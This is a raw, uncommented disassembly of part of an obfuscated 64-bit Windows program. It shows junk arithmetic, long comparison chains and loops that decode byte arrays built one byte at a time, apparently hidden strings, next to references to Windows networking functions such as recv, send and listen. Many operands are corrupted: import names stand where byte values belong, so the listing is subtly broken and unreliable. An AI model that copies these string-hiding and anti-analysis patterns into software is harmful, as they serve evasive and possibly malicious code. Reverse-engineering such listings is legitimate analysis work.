lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010fe5b
movabs rdx, 0x3ac9b21a60d7084f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x29
jmp 0x1401100fb
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010fe87
movabs rdx, 0x64f5492914babff5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x4d
jmp 0x140110067
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14010feb4
movabs rcx, 0x8112588837528fb9
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xf
jmp 0x14011016c
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010fee3
movabs rdx, 0x9d2f67e759ea5f7d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6b
add dil, dl
jmp 0x1401101d2
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010fcdd
movabs rcx, 0xab3def96eb36475f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x67
jmp 0x140110225
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010ff31
movabs rdx, 0x4e6242cdd6740b14
mov ecx, Ordinal_60
jmp 0x14010fd62
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010ff5b
movabs rdx, 0x6a7f522cf90bdad8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14010fffb
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14010ff8b
movabs rdx, 0xa2b970eb3e3b7a60
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140110148
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x14010fd1b
movabs rdx, 0xbed6804a60d34a24
mov ecx, 2
jmp 0x14010fc67
movabs rdx, 0xdaf38fa9836b19e8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x6b0]
sub dil, al
sub dil, 0x58
add dil, r8b
jmp 0x140110067
movabs rdx, 0xe902175914b701ca
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x6b0]
add dil, r8b
add dil, dl
jmp 0x1401101a0
movabs rcx, 0x921b55df914829b7
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r14b
jmp 0x140110225
movabs rdx, 0x75fe46806eb059f3
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x5b
jmp 0x14010fffe
movabs rdx, 0x4bd2af71bacca24d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1b
add dil, dl
movabs rcx, 0x61fad3814c110dd9
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x11
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x6b0], cl
add rbx, r10
jmp 0x14011016c
movabs rcx, 0x3dc427c22980ba6b
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x13
jmp 0x140110148
movabs rdx, 0x21a7186306e8eaa7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x6f
jmp 0x1401100fb
movabs rdx, 0x58a0903e4511ae3
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x35
add dil, dl
movabs rcx, 0x53ec4bd1bac525f7
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, 0x3f
add r8b, cl
mov byte [rbp + r9 + 0x6b0], r8b
add r10, r14
jmp 0x140110148
movabs rcx, 0xe96cf9a4c1b94b1f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x27
sub r9, r14
jmp 0x140110234
movabs rcx, 0xbf4162960dd59379
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x4f
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140110234
mov r8, rdx
movabs rcx, 0xb132dae67c89ab97
add rcx, r9
and dl, cl
add dl, dl
mov dil, r8b
sub dil, dl
sub dil, 0x21
add dil, cl
movabs rdx, 0x70095b30dd5cf5bb
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x1d
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x6b0], al
add r10, r14
add rax, r10
sub r9, rax
movabs rdx, 0xf7109f08a602e9ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x6b0], cl
add rbx, r14
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140110225
movabs rcx, 0x9515cb8759f1dbd3
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x3b
movzx eax, byte [rbp + r9 + 0x6b0]
add rax, r10
add r9, rax
add r9, r14
jmp 0x14010f817
movabs rcx, 0x26c63f1b3e37bc35
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x73
jmp 0x14010f814
movabs rcx, 0x18b7b76bacebd453
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x45
jmp 0x14010f804
lea rdx, [rbp + 0x17fec9c]
jmp 0x14011029d
lea rdx, [rbp + 0xe5e08d]
jmp 0x14011029d
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x220]
call fcn.1400ca3f4
mov r12, rax
mov qword [rsp + 0x58], rax
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.1400c9c14
nop
lea rcx, [rbp + 0x240]
call fcn.1401aa298
mov bl, al
lea rcx, [rbp + 0x240]
call fcn.140091e30
test bl, bl
je 0x140113257
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1170]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x260], 0x45
mov byte [rbp + 0x261], 0x75
mov byte [rbp + 0x262], WSASetLastError
mov byte [rbp + 0x263], 0x66
mov byte [rbp + 0x264], 0x76
mov byte [rbp + 0x265], 0x64
mov byte [rbp + 0x266], Ordinal_46
mov byte [rbp + 0x267], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x268], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x269], 0x7d
mov byte [rbp + 0x26a], 0xa
xor eax, eax
mov dword [rbp + 0x26b], eax
mov word [rbp + 0x26f], ax
mov byte [rbp + 0x271], al
mov bl, byte [rsp + 0x50]
movabs rsi, 0x3b16ce24793c580
mov r15d, 0x80
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x12
jae 0x140110dd2
movzx r8d, byte [rbp + r9 + 0x260]
mov r11, r8
cmp rdi, r9
ja 0x140110dc9
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401103c4
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
jmp 0x14011066f
je 0x140110d46
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140110cc2
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140110c67
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140110c19
cmp r10, r9
ja 0x140110dc0
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x140110426
movabs rdx, 0x4d8dee8fdf1f3380
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
jmp 0x14011064c
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140110c0d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140110bee
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140110bcc
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140110baa
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140110b90
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140110b81
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401108aa
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14011089b
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14011087c
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14011086d
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14011084e
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14011083f
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140110820
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140110811
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401107f1
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x1401107e2
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x140110481
lea rdi, [r10 + 0x61]
lea r10, [rdi + 9]
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140110d9d
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140110d7a
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x140110677
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x140110654
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140110632
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401107d0
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401107c1
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14011077d
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140110752
lea rdi, [r10 + 8]
lea r10, [rdi + 0x400]
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140110743
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x140110724
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140110715
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x1401106f5
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401106e6
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x1401106d7
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401106c8
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401106b9
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14011069a
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x140110481
lea rdi, [r10 + 0xa]
lea r10, [rdi + 0x61]
jmp 0x140110481
movabs rcx, 0x1561edcdd3c3c80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x140110474
movabs rdx, 0xf9f345184e14b180
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
jmp 0x1401103f1
movabs rdx, 0xf2906b53beed2680
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
jmp 0x140110396
movabs rcx, 0x6c6f747ef8f99c00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140110c37
movabs rcx, 0x650c9aba69d21100
jmp 0x140110886
movabs rcx, 0x5da9c0f5daaa8600
jmp 0x1401109f4
movabs rdx, 0x5646e7314b82fb00
jmp 0x1401109cb
movabs rcx, 0x4ee40d6cbc5b7000
jmp 0x1401109a2
movabs rcx, 0x478133a82d33e500
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140110cb0
movabs rdx, 0x401e59e39e0c5a00
jmp 0x14011097b
movabs rcx, 0x38bb801f0ee4cf00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140110d15
movabs rcx, 0x3158a65a7fbd4400
jmp 0x140110952
movabs rcx, 0x1ee185ef19da6880
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
mov byte [rbp + r9 + 0x260], bl
jmp 0x140110d72
movabs rcx, 0x177eac2a8ab2dd80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
cmp r10, 0x7a
jb 0x140110770
movabs rcx, 0x78b1622884e0b100
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx + rcx]
jmp 0x140110c37
movabs rdx, 0x101bd265fb8b5280
jmp 0x1401108f1
movabs rdx, 0x8b8f8a16c63c780
add rdx, r9
jmp 0x1401108bb
movabs rcx, 0xd153975f3abb3500
jmp 0x140110952
movabs rdx, 0xc9f0bd9aab93aa00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x140110d15
movabs rdx, 0xc28de3d61c6c1f00
jmp 0x14011097b
movabs rcx, 0xbb2b0a118d449400
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140110cb0
movabs rcx, 0xb3c8304cfe1d0900
jmp 0x1401109a2
movabs rcx, 0xac6556886ef57e00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140110c85
movabs rcx, 0xa5027cc3dfcdf300
jmp 0x1401109f4
movabs rcx, 0x9d9fa2ff50a66800
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140110c5c
movabs rdx, 0x963cc93ac17edd00
jmp 0x140110a21
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14011093f
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
lea rax, [r10 + rdi]
cmp rax, 0xa
je 0x140110b59
lea rax, [r10 + 0x61]
cmp rdi, rax
jbe 0x140110a37
movabs rdx, 0xe146f1eb0e360f80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
cmp rdi, 0x1000
jae 0x140110b31
lea rax, [r10 + 8]
cmp rdi, rax
jbe 0x140110acd
movabs rdx, 0x2ed4e07aed554300
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14011079a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140110968
movabs rcx, 0x9b1bdd1fbe3e6700
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140110d63
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14011098f
movabs rdx, 0xa9e190a8dc8d7d00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
jmp 0x140110b7a
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401109b8
movabs rcx, 0xb8a74431fadc9300
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140110cad
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401109e1
movabs rdx, 0xc00a1df68a041e00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x140110c85
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140110a0a
movabs rcx, 0xc76cf7bb192ba900
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140110c5f
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x1401108cc
movabs rdx, 0xd632ab44377abf00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x140110c37
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140110a4f
movabs rdx, 0xe8a9cbaf9d5d9a80
jmp 0x140110c23
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140110a78
movabs rcx, 0xf76f7f38bbacb080
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140110c08
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140110aa1
movabs rcx, 0x63532c1d9fbc680
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140110be6
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140110905
movabs rcx, 0x23c099d41699f280
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140110d60
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140110ae5
movabs rcx, 0x3637ba3f7c7cce00
jmp 0x140110952
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140110afd
movabs rdx, 0x3d9a94040ba45900
jmp 0x1401107fb
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140110b15
movabs rcx, 0x4c60478d29f36f00
jmp 0x14011082a
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14011079a
movabs rcx, 0x53c32151b91afa00
jmp 0x1401109a2
movabs rdx, 0x80143bed14083c00
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x260]
sub bl, al
add bl, dl
add bl, r8b
jmp 0x140110c85
movabs rdx, 0x877715b1a32fc700
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x260]
add bl, dl
jmp 0x140110ce3
movabs rcx, 0x90079678e7831680
jmp 0x140110ab8
movabs rdx, 0x8141e2efc9340080
add rdx, r9
mov al, r8b
and al, dl
mov bl, r8b
jmp 0x140110cda
movabs rcx, 0x79df092b3a0c7580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x140110cb0
movabs rcx, 0x727c2f66aae4ea80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x140110cad
movabs rcx, 0x63b67bdd8c95d480
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x140110c5f
movabs rdx, 0x54f0c8546e46be80
jmp 0x140110c23
movabs rdx, 0x462b14cb4ff7a880
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
movabs rcx, 0x7c62cf0acc747680
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, r15b
mov byte [rbp + r9 + 0x260], r8b
add r10, r14
sub r9, r14
jmp 0x140110d72
movabs rdx, 0x3002877da2810780
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
movabs rdx, 0x83c5a8cf5b9c0180
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
add cl, dl
add cl, r8b
add cl, r15b
mov byte [rbp + r9 + 0x260], cl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140110d72
mov r8, r11
movabs rdx, 0x19d9fa2ff50a6680
add rdx, r9
mov al, dl
and al, r11b
mov bl, r11b
add al, al
sub bl, al
add bl, dl
add bl, r15b
movabs rdx, 0x8b288293eac38c80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
add cl, r15b
movzx eax, cl
mov byte [rbp + r9 + 0x260], al
add r10, r14
add rax, r10
sub r9, rax
movabs rcx, 0x8ed9ef7632575200
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
mov byte [rbp + r9 + 0x260], r8b
add rdi, r14
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140110d63
movabs rcx, 0xb1446a6d6bb5080
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, r15b
movzx eax, byte [rbp + r9 + 0x260]
add rax, r10
add r9, rax
add r9, r14
jmp 0x140110383
movabs rcx, 0xeb2d918f2fc59b80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
jmp 0x140110380
movabs rcx, 0xe3cab7caa09e1080
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
jmp 0x140110370
lea rdx, [rbp + 0x148b460]
jmp 0x140110dd9
lea rdx, [rbp + 0x9c79e0]
jmp 0x140110dd9
lea rdx, [rbp + 0x260]
mov dword [rsp + 0x20], r14d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1170]
call fcn.140089ca0
nop
cmp qword [rbp + 0x11f8], 0
je 0x140113245
mov byte [rbp + 0xd40], __WSAFDIsSet
mov byte [rbp + 0xd41], 0xe1
mov byte [rbp + 0xd42], 0xf2
mov byte [rbp + 0xd43], 0xf6
mov byte [rbp + 0xd44], 0xe6
mov byte [rbp + 0xd45], 0x88
mov byte [rbp + 0xd46], 0x46
mov byte [rbp + 0xd47], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xd48], 0xea
mov byte [rbp + 0xd49], 0xf6
mov byte [rbp + 0xd4a], 0xee
mov byte [rbp + 0xd4b], 0xfe
mov byte [rbp + 0xd4c], 0xff
mov byte [rbp + 0xd4d], 0xed
mov byte [rbp + 0xd4e], 0x87
mov byte [rbp + 0xd4f], Ordinal_143
mov byte [rbp + 0xd50], Ordinal_143
mov byte [rbp + 0xd51], 0x3d
mov byte [rbp + 0xd52], 0xfd
mov byte [rbp + 0xd53], Ordinal_60
mov byte [rbp + 0xd54], 0xe8
mov byte [rbp + 0xd55], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xd56], Ordinal_143
mov byte [rbp + 0xd57], 0x9d
mov byte [rbp + 0xd58], Ordinal_143
mov byte [rbp + 0xd59], 0x86
mov byte [rbp + 0xd5a], 0x9f
mov byte [rbp + 0xd5b], 0x9c
mov byte [rbp + 0xd5c], Ordinal_50
mov byte [rbp + 0xd5d], 0xe8
mov byte [rbp + 0xd5e], 0x9c
mov byte [rbp + 0xd5f], 0x83
mov byte [rbp + 0xd60], __WSAFDIsSet
mov byte [rbp + 0xd61], __WSAFDIsSet
mov byte [rbp + 0xd62], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xd63], 0x85
mov byte [rbp + 0xd64], 0x84
mov byte [rbp + 0xd65], r15b
mov byte [rbp + 0xd66], Ordinal_41
mov byte [rbp + 0xd67], 0xed
mov byte [rbp + 0xd68], 0x9d
mov byte [rbp + 0xd69], __WSAFDIsSet
mov byte [rbp + 0xd6a], __WSAFDIsSet
mov byte [rbp + 0xd6b], 0xe2
mov byte [rbp + 0xd6c], Ordinal_143
mov byte [rbp + 0xd6d], 0x98
mov byte [rbp + 0xd6e], 0xad
mov byte [rbp + 0xd6f], 0xad
mov byte [rbp + 0xd70], Ordinal_32
mov byte [rbp + 0xd71], 0xc1
mov byte [rbp + 0xd72], 0xa7
mov byte [rbp + 0xd73], 0xb7
mov byte [rbp + 0xd74], 0xa5
mov byte [rbp + 0xd75], 0xa6
mov byte [rbp + 0xd76], 0xba
mov byte [rbp + 0xd77], 0xaa
mov byte [rbp + 0xd78], 0xa8
mov byte [rbp + 0xd79], reloc.WS2_32.dll_setsockopt
mov byte [rbp + Ordinal_217a], 0xd7
mov byte [rbp + 0xd7b], reloc.WS2_32.dll_send
mov byte [rbp + 0xd7c], 0xe5
mov byte [rbp + 0xd7d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xd7e], 0xc9
mov byte [rbp + 0xd7f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd80], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xd81], 0xb0
mov byte [rbp + 0xd82], 0xa5
mov byte [rbp + 0xd83], 0xa4
mov byte [rbp + 0xd84], 0xc9
mov byte [rbp + 0xd85], 0xb2
mov byte [rbp + 0xd86], 0xbb
mov byte [rbp + 0xd87], 7
mov byte [rbp + 0xd88], 0xf6
mov byte [rbp + 0xd89], 0xaa
mov byte [rbp + 0xd8a], 0xa9
mov byte [rbp + 0xd8b], Ordinal_200
mov byte [rbp + 0xd8c], 0xbe
mov byte [rbp + 0xd8d], 0xaf
mov byte [rbp + 0xd8e], 0x3f
mov byte [rbp + reloc.WS2_32.dll_listen8f], 0xd
mov byte [rbp + 0xd90], 0xfc
mov byte [rbp + 0xd91], Ordinal_50
mov byte [rbp + 0xd92], Ordinal_79
mov byte [rbp + 0xd93], 0xfb
mov byte [rbp + 0xd94], Ordinal_46
mov byte [rbp + 0xd95], 0x54
mov byte [rbp + 0xd96], 0x58
mov byte [rbp + 0xd97], 0x48
mov byte [rbp + 0xd98], Ordinal_79
mov byte [rbp + 0xd99], gethostname
mov byte [rbp + 0xd9a], 0x5d
mov byte [rbp + 0xd9b], Ordinal_79
mov byte [rbp + 0xd9c], 0xf0
mov byte [rbp + 0xd9d], gethostname
mov byte [rbp + 0xd9e], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd9f], xmm0
mov byte [rbp + 0xdaf], al
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x70
jae 0x140111c81
movzx r8d, byte [rbp + r9 + 0xd40]
mov r11, r8
cmp rbx, r9
ja 0x140111c78
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140111111
movabs rcx, 0x32bb86de180626b2
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x22
jmp 0x14011114b
je 0x140111bec
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140111b5e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140111b29
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140111b03
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140111abc
cmp r10, r9
ja 0x140111c6f
lea rax, [r10 + 9]
cmp rbx, rax
jae 0x14011117d
movabs rcx, 0x29621037f8812c9a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x36
jmp 0x1401111be
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140111a98
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140111a75
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140111a4b
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140111a24
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140111a01
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140111778
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140111755
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140111732
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x14011170b
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401116ea
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x1401116c7
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1401116a4
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x140111683
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x14011165c
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x140111639
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1401111cb
lea rbx, [r10 + 0x41]
lea r10, [rbx + 0x7a]
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140111c48
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140111c25
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x1401113ce
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1401113a7
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140111380
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1401115da
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x140111582
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x140111532
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x140111507
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x1401111cb
lea rbx, [r10 + 0x40]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x1401114e0
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x1401114cc
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x1401114a9
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140111486
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140111472
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x14011144f
lea rax, [r10 + 1]
cmp rbx, rax
ja 0x14011142c
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140111405
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1401113f1
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401111cb
lea rbx, [r10 + 3]
